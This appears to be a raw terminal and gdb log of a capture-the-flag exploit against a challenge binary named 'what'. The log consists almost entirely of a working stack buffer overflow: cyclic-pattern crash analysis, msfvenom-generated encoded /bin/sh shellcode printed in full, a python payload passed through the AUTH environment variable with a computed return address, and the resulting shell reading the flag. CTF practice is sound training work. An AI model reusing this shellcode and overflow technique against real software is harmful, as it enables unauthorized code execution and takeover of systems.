set environment AUTH = Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9/schadenfreude
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x37654136 in ?? ()
On our server:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/exec CMD="/bin/sh" -b '\x0a\x0d\x2f\x00' -f sh
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
export buf=\
$'\xbf\xd0\xe8\x51\x87\xdb\xd7\xd9\x74\x24\xf4\x5d\x31\xc9'\
$'\xb1\x0b\x31\x7d\x15\x83\xc5\x04\x03\x7d\x11\xe2\x25\x82'\
$'\x5a\xdf\x5c\x01\x3b\xb7\x73\xc5\x4a\xa0\xe3\x26\x3e\x47'\
$'\xf3\x50\xef\xf5\x9a\xce\x66\x1a\x0e\xe7\x71\xdd\xae\xf7'\
$'\xae\xbf\xc7\x99\x9f\x4c\x7f\x66\xb7\xe1\xf6\x87\xfa\x86'
CTF server:
[ctf-7119@icectf-shell /home/what]$ export buf=\
> $'\xbf\xd0\xe8\x51\x87\xdb\xd7\xd9\x74\x24\xf4\x5d\x31\xc9'\
> $'\xb1\x0b\x31\x7d\x15\x83\xc5\x04\x03\x7d\x11\xe2\x25\x82'\
> $'\x5a\xdf\x5c\x01\x3b\xb7\x73\xc5\x4a\xa0\xe3\x26\x3e\x47'\
> $'\xf3\x50\xef\xf5\x9a\xce\x66\x1a\x0e\xe7\x71\xdd\xae\xf7'\
> $'\xae\xbf\xc7\x99\x9f\x4c\x7f\x66\xb7\xe1\xf6\x87\xfa\x86'
[ctf-7119@icectf-shell /t/.sine]$ cp /home/what/what .
[ctf-7119@icectf-shell /t/.sine]$ AUTH=$(python -c 'import os; print os.environ["buf"] + "X" * (140-len(os.environ["buf"])) + "XXXX" + "/schadenfreude"') ./what ausgeschnitzel flugelfragen
Authenticating...
[1] 24497 segmentation fault (core dumped) AUTH= ./what ausgeschnitzel flugelfragen
[ctf-7119@icectf-shell /t/.sine]$ gdb -q -ex 'q' ./what core.24497
Reading symbols from /tmp/.sine/what...(no debugging symbols found)...done.
[New LWP 24497]
Core was generated by `./what ausgeschnitzel flugelfragen'.
Program terminated with signal 11, Segmentation fault.
#0 0x58585858 in ?? ()
Now we only need to jump to our shellcode
[ctf-7119@icectf-shell /t/.sine]$ git clone https://github.com/hellman/fixenv
[ctf-7119@icectf-shell /t/.sine/fixenv]$ export AUTH=$(python -c 'import os; print os.environ["buf"] + "X" * (140-len(os.environ["buf"])) + "XXXX" + "/schadenfreude"')
[ctf-7119@icectf-shell /t/.sine/fixenv]$ ./r.sh gdb /home/what/what ausgeschnitzel flugelfragen
(gdb) b *0x0804869E
Breakpoint 1 at 0x804869e
(gdb) r
Starting program: /tmp/.sine/fixenv/.launcher
Breakpoint 1, 0x0804869e in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-78.el7.i686
(gdb) x /500s $esp
...
0xffffdd25: "AUTH=\277\320\350Q\207\333\327\331t$\364]1\311\261\v1}\025\203\305\004\003}\021\342%\202Z\337\\\001;\267s\305J\240\343&>G\363P\357\365\232\316f\032\016\347q\335\256\367\256\277\307\231\237L\177f\267\341\366\207\372\206", 'X' <repeats 74 times>, "/schadenfreude"
(gdb) x /s 0xffffdd2a
0xffffdd2a: "\277\320\350Q\207\333\327\331t$\364]1\311\261\v1}\025\203\305\004\003}\021\342%\202Z\337\\\001;\267s\305J\240\343&>G\363P\357\365\232\316f\032\016\347q\335\256\367\256\277\307\231\237L\177f\267\341\366\207\372\206", 'X' <repeats 70 times>, "0\335\377\377/schadenfreude"
...
[ctf-7119@icectf-shell /t/.sine/fixenv]$ export AUTH=$(python -c 'import os; import struct; print os.environ["buf"] + "X" * (140-len(os.environ["buf"])) + struct.pack("<I", 0xffffdd2a) + "/schadenfreude"')
[ctf-7119@icectf-shell /t/.sine/fixenv]$ ./r.sh /home/what/what ausgeschnitzel flugelfragen
Authenticating...
sh-4.2$ id
uid=1148(ctf-7119) gid=1102(what) groups=1002(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ cat /home/what/flag.txt
flag_squeamish_ossifrage